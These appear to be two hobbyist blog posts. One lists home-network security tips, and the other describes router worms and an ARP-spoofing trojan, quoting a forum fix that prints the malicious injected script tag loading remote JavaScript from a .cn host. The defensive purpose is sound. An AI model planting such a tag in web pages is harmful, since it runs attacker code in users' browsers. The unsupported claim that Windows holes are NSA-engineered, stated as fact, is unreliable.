What you can do to secure your home network

1. Don't use Microsoft Windows. It has holes engineered into it paid for by NSA. Hackers will find some of these holes. Linux Mint 17 is a better operating system (OS)than Windows. It is free and more secure. You can download it from the Internet or buy a Linux magazine that includes a Mint DVD. You can install it and update it in less than on hour Try that with MS Windows.

2. Purchase a router with DD_WRT or Tomato firmware installed. It provides better security than the home router you can get at a computer store. It is also possible your existing router can be upgraded with either Tomato or DD-WRT firmware.

3. Configure your browser so it doesn't remember any history, There are also some great security browser extensions like Ghostery and No Script. Use the Duck, Duck, Go search engine because this search engine uses secure SSL security. Your Internet searches are not archived either.

4. By all means install anti-virus software on you PC before you connect to the Internet. If you are using Linux, ClamAV can be downloaded using the internal Synaptic Package Manager. Avast AV has to be downloaded from the AVAST website and you need to request a free registration key by email. Then run a virus scan on your home directory and then the complete OS.

5. Install a uninterpretable power supply to protect your PC, cable modem and router form surges, spikes, brownouts and drops. This upgrade can extend the life of your router, cable modem and PC or laptop for years.

6. If you are using wireless, use a 12-14 digit password and change it at least quarterly.

Hardinfo Ip connections display

7. In Linux, use Hardinfo IP connections check your security. You should not have any established connections to the Internet when your browser is closed. In this example the browser is connected to the Internet and I have two established connections. If you have any established connections with public IP addressees when the browser is closed, you probably have a Trojan or some other malware that is lurking in your PC.

8. Linux Mint has the IP tables firewall and you can use the GUFW front end to modify the firewall. You do need a basic understanding o IP addressing and ports to use this firewall. Likewise, the ClamAV anti-virus program has the Clam TK front end graphical user interface.

9.You can use Keypass to store passwords on your desktop or Lastpass extension in your browser. This will allow you to have many unique passwords for email, bank accounts and online retailers.

There are many other things you can do to improve security in your home networks. These are just some basics.

Subscribe to the Rightardia feed: http://feeds.feedburner.com/blogspot/UFPYA 

 

Rightardia by Rightard Whitey of Rightardia is licensed under a Creative Commons Attribution 3.0 Unported License.

Permissions beyond the scope of this license may be available at rightardia@gmail.com.

Home routers can be infected with malware

IT pros  have found a malicious worm that has infected  different home and small office Linksys routers, including the E1000, the E1200, and the E2400.

Then there is also an Asus firmware vulnerability: An IT researcher named Kyle Lovett also found a vulnerability in a number of heavy duty Asus routers that had faulty firmwares.

Rightrdia has recommended DD-WRT firmware enabled routers in the past. However, this vulnerability also affects some routers with DD-WRT firmware. A Netgear Wnd3700V4 router that Rightardia uses appears to have been infected with this malware and firmware upgrades and a configuration default did not eliminate the problem.

Sunbelt Software also reported  that a Buffalo router that provisioned with DD-WRT firmware was pulled out of a retail box and easily infected with the router malware.

A Washington Post article stated:

". . . Sunbelt was able to confirm that the malware successfully changed the DNS settings on a Linksys router (model BEFSX41), pulled straight out of the factory box (with the default username and password). Another test showed that the Zlob variant successfully changed the DNS settings on a Buffalo router running the DD-WRT open source firmware.

Sunbelt also found that if there are multiple machines using the same router, all of the systems connected to that router will have their traffic hijacked."

DD-WRT recommends  to disabling the graphical user interface on the router and change the admin login and use a stronger password. DD-WRT has also suggesting defaulting the config will eliminate the worm.

Rightardia discovered that re-flashing the router or defaulting the configuration did not work.

We did find this information in a forum.
.
"If you got the problem that in every loaded page appears a javascript tag like <script language="javascript" SRC="http://mx.content-type.cn:443/day.js"></script> this is the solution for your problem.

The cause is a trojan horse (virus) on another computer in your network!
This other computer is telling your PC that it is the gateway to the Internet by modifying its hardware address (MAC). Your computer is in consequence sending all traffic to the infected PC which forwards it to the Internet and filters it in order to put its malicious code.

You can find out which computer is the evil one by typing following into your command line:

arp -a

In the appearing table search for a double assigned physical address which is once assigned to the gateway IP address and once assigned to another IP.
 
Find out which computer is the other IP and you will have the virus host.
Scan that one for virus and malware (we are just about to conduct that scan)."

The best option at this point would be to replace an infected  router with Tomato firmware installed. If your home router is not infected, disable remote access and change the login ID and password. Use a complex password that would not respond to a brute force dictionary attack.

You can purchase  a Tomato enabled router form Amazon. The NetGear WNR3500L Rangemax Wireless-N Gigabit Router with Tomato VPN firmware (Refurbished) appears to be a good option. 

Rightardia would expect DD-WRT to release new firmware to fix this problem in the immediate future. 

a

 http://arstechnica.com/security/2014/02/bizarre-attack-infects-linksys-routers-with-self-replicating-malware/

https://www.flashrouters.com/blog/2014/02/19/asus-linksys-router-firmware-hacked-stay-safe-dd-wrt-tomato/

http://voices.washingtonpost.com/securityfix/2008/06/malware_silently_alters_wirele_1.html

http://topfueber.de/2008/07/mxcontent-typecn443-nice-trojan-how-to-get-rid-of-it/#english


Subscribe to the Rightardia feed: http://feeds.feedburner.com/blogspot/UFPYA 

 

Rightardia by Rightard Whitey of Rightardia is licensed under a Creative Commons Attribution 3.0 Unported License.

Permissions beyond the scope of this license may be available at rightardia@gmail.com.